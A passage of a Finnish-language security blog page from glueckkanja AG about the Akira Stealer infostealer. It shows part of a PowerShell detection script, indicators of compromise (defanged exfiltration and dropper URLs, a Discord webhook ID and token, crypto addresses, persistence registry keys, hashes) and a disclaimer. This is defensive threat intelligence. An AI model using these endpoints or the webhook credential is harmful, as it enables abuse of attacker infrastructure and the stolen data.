$matches.Add([PSCustomObject]@{\n",[1691,11796,11797],{"class":1693,"line":5952},[1691,11798,11799],{},"            FileName    = $_.Name\n",[1691,11801,11802],{"class":1693,"line":5958},[1691,11803,11804],{},"            Location    = $rel\n",[1691,11806,11807],{"class":1693,"line":5964},[1691,11808,11809],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1691,11811,11812],{"class":1693,"line":5970},[1691,11813,11814],{},"            Keyword     = $hit\n",[1691,11816,11817],{"class":1693,"line":5975},[1691,11818,11819],{},"        })\n",[1691,11821,11822],{"class":1693,"line":5980},[1691,11823,11824],{},"    }\n",[1691,11826,11827],{"class":1693,"line":5986},[1691,11828,2415],{},[1691,11830,11831],{"class":1693,"line":5991},[1691,11832,3863],{"emptyLinePlaceholder":325},[1691,11834,11835],{"class":1693,"line":5996},[1691,11836,11603],{},[1691,11838,11839],{"class":1693,"line":6002},[1691,11840,11841],{},"# 3. Display Results\n",[1691,11843,11844],{"class":1693,"line":6008},[1691,11845,11603],{},[1691,11847,11848],{"class":1693,"line":6014},[1691,11849,11850],{},"clear\n",[1691,11852,11853],{"class":1693,"line":6019},[1691,11854,11855],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1691,11857,11858],{"class":1693,"line":6025},[1691,11859,11860],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1691,11862,11863],{"class":1693,"line":6031},[1691,11864,3863],{"emptyLinePlaceholder":325},[1691,11866,11867],{"class":1693,"line":6036},[1691,11868,11869],{},"if ($matches.Count -gt 0) {\n",[1691,11871,11872],{"class":1693,"line":6042},[1691,11873,11874],{},"    $matches |\n",[1691,11876,11877],{"class":1693,"line":6048},[1691,11878,11879],{},"        Sort-Object Location, FileName |\n",[1691,11881,11882],{"class":1693,"line":6053},[1691,11883,11884],{},"        Format-Table -AutoSize `\n",[1691,11886,11887],{"class":1693,"line":6058},[1691,11888,11889],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1691,11891,11892],{"class":1693,"line":6063},[1691,11893,11894],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1691,11896,11897],{"class":1693,"line":6069},[1691,11898,11899],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1691,11901,11903],{"class":1693,"line":11902},79,[1691,11904,11905],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1691,11907,11909],{"class":1693,"line":11908},80,[1691,11910,3863],{"emptyLinePlaceholder":325},[1691,11912,11914],{"class":1693,"line":11913},81,[1691,11915,11916],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1691,11918,11920],{"class":1693,"line":11919},82,[1691,11921,2415],{},[1691,11923,11925],{"class":1693,"line":11924},83,[1691,11926,11927],{},"else {\n",[1691,11929,11931],{"class":1693,"line":11930},84,[1691,11932,11933],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1691,11935,11937],{"class":1693,"line":11936},85,[1691,11938,2415],{},[1691,11940,11942],{"class":1693,"line":11941},86,[1691,11943,3863],{"emptyLinePlaceholder":325},[1691,11945,11947],{"class":1693,"line":11946},87,[1691,11948,11949],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1691,11951,11953],{"class":1693,"line":11952},88,[1691,11954,11955],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[835,11957],{"className":11958},[838,839],[528,11960,11962],{"id":11961},"_12-vasteen-jälkeen-näin-glueckkanja-csoc-muuttaa-poikkeamat-oivalluksiksi","12. Vasteen jälkeen – näin glueckkanja CSOC muuttaa poikkeamat oivalluksiksi",[533,11964,535],{},[533,11966,11967,11968],{},"Useimmat tietoturvaoperaatiokeskukset pysähtyvät rajaamiseen.\n",[540,11969,11970],{},"Me emme.",[533,11972,11973],{},"glueckkanja CSOC:ssä uskomme, ettei incident response ole maaliviiva—se on lähtöpiste.",[533,11975,11976],{},"Kun muut julistavat voiton ja siirtyvät eteenpäin, me sukellamme syvemmälle. Meille jokainen poikkeama on tilaisuus oppia, mukautua ja tulla vahvemmaksi. Väsymätön uteliaisuutemme, jota ruokkivat vuosien syvä forensinen asiantuntemus ja reverse engineering -kyvykkyys, varmistaa, ettemme vain puolusta—me ennakoimme.",[533,11978,11979,11980,699],{},"Tämän filosofian vuoksi rakensimme ",[540,11981,11982],{},"Akira Compromise Reporterin",[533,11984,11985],{},"Tämä sisäisesti kehitetty forensinen työkalu menee paljon perushavaitsemista pidemmälle ja hyödyntää läheistä tuntemustamme Akira Stealerista tarjotakseen ehdottoman selkeyden siitä, mitä dataa on vaarannettu. Minuuteissa se tuottaa täsmällisen, toimintakelpoisen tilannekuvan poikkeaman koko vaikutuksesta:",[604,11987,11988,11991,11994],{},[607,11989,11990],{},"Tarkalleen mitkä tunnistetiedot, tokenit ja selainistunnot varastettiin.",[607,11992,11993],{},"Täsmälleen mitkä kryptovaluuttalompakot, viestintätilit ja tiedostot altistuivat.",[607,11995,11996],{},"Selkeä, jäsennelty ja yksityiskohtainen forensinen raportti—muuttaen epävarmuuden välittömäksi, tietoon perustuvaksi toiminnaksi.",[533,11998,11999],{},[755,12000],{"alt":12001,"src":12002},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[533,12004,12005],{},"Koska me glueckkanjalla mittaamme menestyksemme paitsi estettyjen uhkien myös tarjotun selkeyden perusteella. Oikein tehty kyberturvallisuus ei tarkoita pelkkää reagointia poikkeamiin—se tarkoittaa ymmärtämistä, mukautumista ja jatkuvaa askeleen edellä pysymistä.",[533,12007,12008],{},[540,12009,12010],{},"Se on glueckkanja CSOC:n ero.",[528,12012,12014],{"id":12013},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[533,12016,535],{},[533,12018,12019],{},"Alla on kattava, sanatarkka kokoelma IOC-indikaattoreita, jotka on poimittu suoraan haittaohjelmakoodista glueckkanja CSOC:n sisäisen reverse engineering -prosessin aikana. Oletuksia tai ulkoisia threat intelligence -lähteitä ei käytetty — kaikki indikaattorit ovat vahvistettuja havaintoja. Kaikki URL:t on tarkoituksella obfuskoitu vahinkoklikkausten estämiseksi.",[533,12021,12022],{},[540,12023,12024],{},"Lyhenteet:",[604,12026,12027,12033],{},[607,12028,12029,12032],{},[540,12030,12031],{},"TG:"," Telegram-raportointikanava",[607,12034,12035,12038],{},[540,12036,12037],{},"Alt:"," Vaihtoehtoinen (vara-) päätepiste",[721,12040,12042],{"id":12041},"_1-verkkotunnukset-urlt","1. Verkkotunnukset & URL:t",[533,12044,727],{},[1403,12046,4693,12048],{"className":12047,"style":11123},[11122],[1419,12049,12050,4693,12062,4693,12075,4693,12088,4693,12101,4693,12114,4693,12127,4693,12140,4693,12156,4693,12172,4693,12185,4693,12198,4693,12211,4693,12224,4693,12237,4693,12250,4693,12263,4693,12276,4693,12289,4693,12302,4693,12316,4693,12329],{},[1409,12051,4698,12052,4698,12056,4698,12060,4693],{},[1412,12053,12055],{"style":12054},"text-align: left; width: 18%;","Kategoria",[1412,12057,12059],{"style":12058},"text-align: left; width: 52%;","Obfuskoitu URL",[1412,12061,4866],{},[1409,12063,4698,12064,4698,12067,4698,12072,4693],{},[1424,12065,12066],{},"Ensisijainen injektio",[1424,12068,12069],{},[551,12070,12071],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1424,12073,12074],{},"Hyökkääjän ensimmäinen webhook-päätepiste",[1409,12076,4698,12077,4698,12080,4698,12085,4693],{},[1424,12078,12079],{},"Vara-injektio",[1424,12081,12082],{},[551,12083,12084],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1424,12086,12087],{},"Vaihtoehtoinen injektoripäätepiste",[1409,12089,4698,12090,4698,12093,4698,12098,4693],{},[1424,12091,12092],{},"Virheraportointi (TG)",[1424,12094,12095],{},[551,12096,12097],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1424,12099,12100],{},"Telegramin virhe-/lokiraportoinnin URL",[1409,12102,4698,12103,4698,12106,4698,12111,4693],{},[1424,12104,12105],{},"Virheraportointi (Alt)",[1424,12107,12108],{},[551,12109,12110],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1424,12112,12113],{},"Vaihtoehtoinen virhe-/lokiraportoinnin URL",[1409,12115,4698,12116,4698,12119,4698,12124,4693],{},[1424,12117,12118],{},"Vanity-botti (TG)",[1424,12120,12121],{},[551,12122,12123],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1424,12125,12126],{},"Vanity-osoitteen ilmoituspäätepiste",[1409,12128,4698,12129,4698,12132,4698,12137,4693],{},[1424,12130,12131],{},"Vanity-botti (Alt)",[1424,12133,12134],{},[551,12135,12136],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1424,12138,12139],{},"Vaihtoehtoinen vanity-ilmoituspäätepiste",[1409,12141,4698,12142,4698,12145,4698,12150,4693],{},[1424,12143,12144],{},"Exodus-injektio",[1424,12146,12147],{},[551,12148,12149],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1424,12151,12152,12153,12155],{},"Electronin ",[551,12154,4598],{},"-sovellusmoduuli",[1409,12157,4698,12158,4698,12161,4698,12166,4693],{},[1424,12159,12160],{},"Atomic-injektio",[1424,12162,12163],{},[551,12164,12165],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1424,12167,12152,12168,12171],{},[551,12169,12170],{},"AtomicWallet","-moduuli",[1409,12173,4698,12174,4698,12177,4698,12182,4693],{},[1424,12175,12176],{},"Updater-lataus",[1424,12178,12179],{},[551,12180,12181],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1424,12183,12184],{},"Persistence-dropperin suoritettava tiedosto",[1409,12186,4698,12187,4698,12190,4698,12195,4693],{},[1424,12188,12189],{},"Gofile API -lista",[1424,12191,12192],{},[551,12193,12194],{},"https[:]//api.gofile[.]io/servers",[1424,12196,12197],{},"Hakee parhaan GoFile-latauspalvelimen",[1409,12199,4698,12200,4698,12203,4698,12208,4693],{},[1424,12201,12202],{},"Discord-tokenin tarkistus",[1424,12204,12205],{},[551,12206,12207],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1424,12209,12210],{},"Validoi varastetun Discord-tokenin",[1409,12212,4698,12213,4698,12216,4698,12221,4693],{},[1424,12214,12215],{},"Discord-laskutustiedot",[1424,12217,12218],{},[551,12219,12220],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1424,12222,12223],{},"Hakee laskutusmenetelmät",[1409,12225,4698,12226,4698,12229,4698,12234,4693],{},[1424,12227,12228],{},"Google OAuth -replay",[1424,12230,12231],{},[551,12232,12233],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1424,12235,12236],{},"Toistaa varastetut Google-istuntotokenit",[1409,12238,4698,12239,4698,12242,4698,12247,4693],{},[1424,12240,12241],{},"IP-tarkistus (hosting)",[1424,12243,12244],{},[551,12245,12246],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1424,12248,12249],{},"Hosting-ympäristön havaitseminen",[1409,12251,4698,12252,4698,12255,4698,12260,4693],{},[1424,12253,12254],{},"IP-haku (geo)",[1424,12256,12257],{},[551,12258,12259],{},"http[:]//ip-api[.]com/json/{ip}",[1424,12261,12262],{},"Paikannus IP:n perusteella",[1409,12264,4698,12265,4698,12268,4698,12273,4693],{},[1424,12266,12267],{},"Julkisen IP:n haku",[1424,12269,12270],{},[551,12271,12272],{},"https[:]//api[.]ipify[.]org",[1424,12274,12275],{},"Hakee ulkoisen IP-osoitteen",[1409,12277,4698,12278,4698,12281,4698,12286,4693],{},[1424,12279,12280],{},"File.io-lataus",[1424,12282,12283],{},[551,12284,12285],{},"https[:]//file[.]io/",[1424,12287,12288],{},"Toissijainen exfiltraatiokanava",[1409,12290,4698,12291,4698,12294,4698,12299,4693],{},[1424,12292,12293],{},"Oshi.at-lataus",[1424,12295,12296],{},[551,12297,12298],{},"http[:]//oshi[.]at/",[1424,12300,12301],{},"Kolmassijainen exfiltraatiokanava",[1409,12303,4698,12304,4698,12307,4698,12313,4693],{},[1424,12305,12306],{},"JS-dropper ensisijainen",[1424,12308,12309],{},[695,12310,12312],{"href":12311,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1424,12314,12315],{},"Etäviittaus varsinaiseen ZIP-URL:iin",[1409,12317,4698,12318,4698,12321,4698,12326,4693],{},[1424,12319,12320],{},"JS-dropper vara 1",[1424,12322,12323],{},[695,12324,12325],{"href":3611,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1424,12327,12328],{},"Vaihtoehtoinen payload-ZIP",[1409,12330,4698,12331,4698,12334,4698,12339,4693],{},[1424,12332,12333],{},"JS-dropper vara 2",[1424,12335,12336],{},[695,12337,12338],{"href":3616,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1424,12340,12341],{},"Toissijainen vara-payload-ZIP",[835,12343],{"className":12344},[838,839],[721,12346,12348],{"id":12347},"_2-kryptovaluutta-osoitteet","2. Kryptovaluutta-osoitteet",[533,12350,727],{},[1403,12352,4693,12354],{"className":12353,"style":11123},[11122],[1419,12355,12356,4693,12364,4693,12374,4693,12384,4693,12394,4693,12403,4693,12413,4693,12423,4693,12433,4693,12443,4693,12453],{},[1409,12357,4698,12358,4698,12361,4693],{},[1412,12359,12360],{"style":11134},"Valuutta",[1412,12362,12363],{},"Osoite",[1409,12365,4698,12366,4698,12369,4693],{},[1424,12367,12368],{},"BTC",[1424,12370,12371],{},[551,12372,12373],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1409,12375,4698,12376,4698,12379,4693],{},[1424,12377,12378],{},"ETH",[1424,12380,12381],{},[551,12382,12383],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1409,12385,4698,12386,4698,12389,4693],{},[1424,12387,12388],{},"DOGE",[1424,12390,12391],{},[551,12392,12393],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1409,12395,4698,12396,4698,12399,4693],{},[1424,12397,12398],{},"LTC",[1424,12400,12401],{},[551,12402,11165],{},[1409,12404,4698,12405,4698,12408,4693],{},[1424,12406,12407],{},"XMR",[1424,12409,12410],{},[551,12411,12412],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1409,12414,4698,12415,4698,12418,4693],{},[1424,12416,12417],{},"BCH",[1424,12419,12420],{},[551,12421,12422],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1409,12424,4698,12425,4698,12428,4693],{},[1424,12426,12427],{},"DASH",[1424,12429,12430],{},[551,12431,12432],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1409,12434,4698,12435,4698,12438,4693],{},[1424,12436,12437],{},"TRX",[1424,12439,12440],{},[551,12441,12442],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1409,12444,4698,12445,4698,12448,4693],{},[1424,12446,12447],{},"XRP",[1424,12449,12450],{},[551,12451,12452],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1409,12454,4698,12455,4698,12458,4693],{},[1424,12456,12457],{},"XLM",[1424,12459,12460],{},[551,12461,12462],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[835,12464],{"className":12465},[838,839],[721,12467,12469],{"id":12468},"_3-rekisteriavaimet-polut","3. Rekisteriavaimet / -polut",[533,12471,727],{},[1403,12473,4693,12475],{"className":12474,"style":11123},[11122],[1419,12476,12477,4693,12484,4693,12494,4693,12504,4693,12517],{},[1409,12478,4698,12479,4698,12482,4693],{},[1412,12480,1660],{"style":12481},"text-align: left; width: 60%;",[1412,12483,1192],{},[1409,12485,4698,12486,4698,12491,4693],{},[1424,12487,12488],{},[551,12489,12490],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1424,12492,12493],{},"Tarkistaa virtuaalisen GPU-ajurin signatuurin",[1409,12495,4698,12496,4698,12501,4693],{},[1424,12497,12498],{},[551,12499,12500],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1424,12502,12503],{},"Tarkistaa virtuaalisen GPU:n toimittajan nimen",[1409,12505,4698,12506,4698,12514,4693],{},[1424,12507,12508,12511,12512,1122],{},[551,12509,12510],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (arvo ",[540,12513,1671],{},[1424,12515,12516],{},"Persistence Run-avaimen kautta (Updater.exe)",[1409,12518,4698,12519,4698,12523,4693],{},[1424,12520,12521],{},[551,12522,1679],{},[1424,12524,12525],{},"Persistence-suoritettava",[835,12527],{"className":12528},[838,839],[721,12530,12532],{"id":12531},"_5-tiedostot-hashit","5. Tiedostot & hashit",[533,12534,727],{},[1403,12536,4693,12538],{"className":12537,"style":11123},[11122],[1419,12539,12540,4693,12552,4693,12564,4693,12576,4693,12589,4693,12601,4693,12613,4693,12625,4693,12637,4693,12650,4693,12662,4693,12675,4693,12687],{},[1409,12541,4698,12542,4698,12545,4698,12549,4693],{},[1412,12543,12544],{"style":12054},"Tiedostonimi",[1412,12546,12548],{"style":12547},"text-align: left; width: 62%;","SHA256",[1412,12550,12551],{},"Koko (tavua)",[1409,12553,4698,12554,4698,12556,4698,12561,4693],{},[1424,12555,1833],{},[1424,12557,12558],{},[551,12559,12560],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1424,12562,12563],{},"63936274",[1409,12565,4698,12566,4698,12568,4698,12573,4693],{},[1424,12567,578],{},[1424,12569,12570],{},[551,12571,12572],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1424,12574,12575],{},"162036224",[1409,12577,4698,12578,4698,12581,4698,12586,4693],{},[1424,12579,12580],{},"jscrypter.js",[1424,12582,12583],{},[551,12584,12585],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1424,12587,12588],{},"1429",[1409,12590,4698,12591,4698,12593,4698,12598,4693],{},[1424,12592,2823],{},[1424,12594,12595],{},[551,12596,12597],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1424,12599,12600],{},"30138",[1409,12602,4698,12603,4698,12605,4698,12610,4693],{},[1424,12604,2820],{},[1424,12606,12607],{},[551,12608,12609],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1424,12611,12612],{},"7155",[1409,12614,4698,12615,4698,12617,4698,12622,4693],{},[1424,12616,2748],{},[1424,12618,12619],{},[551,12620,12621],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1424,12623,12624],{},"211",[1409,12626,4698,12627,4698,12629,4698,12634,4693],{},[1424,12628,582],{},[1424,12630,12631],{},[551,12632,12633],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1424,12635,12636],{},"205210",[1409,12638,4698,12639,4698,12642,4698,12647,4693],{},[1424,12640,12641],{},"exodus.asar",[1424,12643,12644],{},[551,12645,12646],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1424,12648,12649],{},"132486332",[1409,12651,4698,12652,4698,12654,4698,12659,4693],{},[1424,12653,1891],{},[1424,12655,12656],{},[551,12657,12658],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1424,12660,12661],{},"28454",[1409,12663,4698,12664,4698,12667,4698,12672,4693],{},[1424,12665,12666],{},"download.dat",[1424,12668,12669],{},[551,12670,12671],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1424,12673,12674],{},"21142",[1409,12676,4698,12677,4698,12679,4698,12684,4693],{},[1424,12678,2882],{},[1424,12680,12681],{},[551,12682,12683],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1424,12685,12686],{},"32375391",[1409,12688,4698,12689,4698,12691,4698,12696,4693],{},[1424,12690,574],{},[1424,12692,12693],{},[551,12694,12695],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1424,12697,12698],{},"37652937",[835,12700],{"className":12701},[838,839],[721,12703,12705],{"id":12704},"_5-discord-telegram-tunniste","5. Discord- & Telegram-tunniste",[533,12707,727],{},[1403,12709,4693,12711],{"className":12710,"style":11123},[11122],[1419,12712,12713,4693,12719,4693,12729,4693,12739],{},[1409,12714,4698,12715,4698,12717,4693],{},[1412,12716,12055],{"style":6314},[1412,12718,1417],{},[1409,12720,4698,12721,4698,12724,4693],{},[1424,12722,12723],{},"Discord Webhook ID",[1424,12725,12726],{},[551,12727,12728],{},"1226766972675428372",[1409,12730,4698,12731,4698,12734,4693],{},[1424,12732,12733],{},"Discord Webhook Token",[1424,12735,12736],{},[551,12737,12738],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1409,12740,4698,12741,4698,12744,4693],{},[1424,12742,12743],{},"Telegram-ID",[1424,12745,12746],{},[551,12747,12748],{},"5035121855",[835,12750],{"className":12751},[838,839],[528,12753,12755],{"id":12754},"_14-katsaus-akira-stealer-poikkeamaan-vahvista-puolustustasi-glueckkanja-csocn-avulla","14. Katsaus Akira Stealer -poikkeamaan: vahvista puolustustasi glueckkanja CSOC:n avulla",[533,12757,535],{},[533,12759,12760],{},"Tämän blogin läpi olemme tarkastelleet Akira-infostealerin hienostunutta luonnetta—kehittynyttä kyberuhkaa, jolle on ominaista kohdennettu tunnistetietojen varastaminen, huomaamaton datan exfiltraatio ja pysyvät menetelmät perinteisen puolustuksen väistämiseksi. Sen ymmärtäminen, miten tämä haittaohjelma toimii, mitä riskejä se aiheuttaa ja mitä haavoittuvuuksia se hyödyntää, on ratkaisevaa vankan kyberturvallisuusstrategian rakentamisessa.",[533,12762,12763],{},"Akira-infostealer kohdistuu erityisesti arkaluonteiseen dataan, kuten kirjautumistietoihin, selainistuntoihin, kryptovaluuttalompakoihin, viestintäpalveluihin sekä henkilökohtaisiin tai organisaation tiedostoihin. Sen laskelmoidut ja täsmälliset menetelmät vaativat enemmän kuin pelkkiä tavanomaisia tietoturvatoimia—ne edellyttävät jatkuvaa valvontaa, perusteellista forensista analyysiä ja proaktiivista threat intelligenceä.",[533,12765,12766],{},"glueckkanja CSOC:ssä hyödynnämme syvää teknistä asiantuntemustamme ja edistyneitä analyyttisiä kyvykkyyksiämme mennäksemme pelkkää havaitsemista pidemmälle. Erikoistunut tiimimme valvoo uhkia jatkuvasti reaaliajassa omilta CSOC-palvelimiltamme, mikä mahdollistaa Akira-infostealerin kaltaisten uhkien välittömän tunnistamisen, perusteellisen tutkinnan ja tehokkaan neutraloinnin.",[533,12768,12769],{},"Työmme ei kuitenkaan pysähdy incident responseen. Jokainen havaittu poikkeama rikastuttaa tietämyskantaamme, vahvistaa tietoturva-asemaamme ja varmistaa, että pysymme useita askelia tulevien uhkien edellä. glueckkanja CSOC:n kanssa saat enemmän kuin suojausta—saat mukautuvan tietoturvakumppanin, joka on sitoutunut pitkän aikavälin kestävyyteesi.",[533,12771,12772],{},"Ota seuraava askel organisaatiosi digitaalisten resurssien turvaamisessa.",[533,12774,12775],{},"Ota tänään yhteyttä glueckkanjan kyberturvallisuusasiantuntijoihin, niin turvataan tulevaisuutesi proaktiivisesti yhdessä.",[533,12777,12778],{},[540,12779,12780],{},"Vahvista puolustustasi glueckkanja CSOC:n avulla.",[528,12782,12784],{"id":12783},"_15-tietoturva-ja-vastuuvapauslauseke-todellisen-haittaohjelmakoodin-käyttö","15. Tietoturva- ja vastuuvapauslauseke – todellisen haittaohjelmakoodin käyttö",[533,12786,535],{},[533,12788,12789],{},"Tämä julkaisu sisältää yksityiskohtaisia teknisiä havaintoja, mukaan lukien koodikatkelmia ja käyttäytymisen erittelyjä, jotka on johdettu todellisesta haitallisesta ohjelmistosta, joka löydettiin incident responsen ja forensisten tutkimusten aikana. Näiden tietojen jakamisen tarkoitus on tiukasti koulutuksellinen, ja se on tarkoitettu auttamaan ammattimaisia puolustajia ymmärtämään, havaitsemaan ja vastaamaan todellisiin uhkiin tehokkaammin. Julkaisemme tämän hyvässä uskossa ja tarkoituksena edistää laajempaa tietoturvayhteisöä.",[533,12791,12792],{},"On tärkeää huomata, että osat mukana olevasta koodista ovat peräisin uhkatoimijoiden työkalupakeista ja luonnossa liikkuvista haittaohjelmanäytteistä. Nämä sirpaleet eivät ole meidän immateriaalista omaisuuttamme, eikä niitä tule pitää turvallisina, puhdistettuina tai muutoin \"vaarattomina\". Tällaisen koodin toistamista tai operatiivista käyttöä ei nimenomaisesti suositella. Lukijoiden on ymmärrettävä, että vaikka tämä materiaali palvelee tutkimus- ja tietoisuustoimintoa, se kantaa luonnostaan riskiprofiilia, jota ei tule aliarvioida.",[533,12794,12795],{},"Vain koulutetut ammattilaiset, jotka toimivat laillisesti valtuutetuissa ympäristöissä—kuten akkreditoidut tietoturvatiimit, SOC-yksiköt, akateemiset tutkijat tai haittaohjelmalaboratoriot—tulisi olla tekemisissä kuvattujen tekniikoiden tai koodin kanssa. Kaiken kokeilun on rajoituttava eristettyihin, tuotannon ulkopuolisiin järjestelmiin ja noudatettava sovellettavia lakeja, sisäisiä käytäntöjä ja eettisiä standardeja.",[533,12797,12798],{},"Emme tarjoa tukea tai validointia millekään toistetulle koodille tai käyttäytymiselle. Emme takaa tarkkuutta, merkityksellisyyttä tai täydellisyyttä. Lisäksi torjumme nimenomaisesti tämän sisällön kaiken käytön offensiivisiin tarkoituksiin, luvattomaan red teamingiin, kaupalliseen haittaohjelmakehitykseen tai vastustajatestaukseen laillisesti määritellyn laajuuden ulkopuolella. Kaikki väärinkäyttö voi johtaa oikeudellisiin seuraamuksiin. glueckkanja AG kiistää kaiken vastuun suorista tai epäsuorista vahingoista, jotka aiheutuvat tämän sisällön käytöstä tai väärintulkinnasta.",[533,12800,12801],{},"Jatkamalla tämän sisällön lukemista tai siihen viittaamista hyväksyt edellä mainitun ja sitoudut olemaan väärinkäyttämättä, toistamatta tai soveltamatta mitään sen osaa laittomissa tai epäeettisissä yhteyksissä. Epävarmoissa tapauksissa ota yhteyttä juridiseen, compliance- tai tietosuojaosastoosi ennen kuin ryhdyt live-koodianalyysiin tai vastaavaan tekniseen materiaaliin.",[533,12803,12804],{},"Tämä julkaisu toimitetaan \"as is\", ilman takuuta, tukea tai vastuuta.",[12806,12807,12808],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki 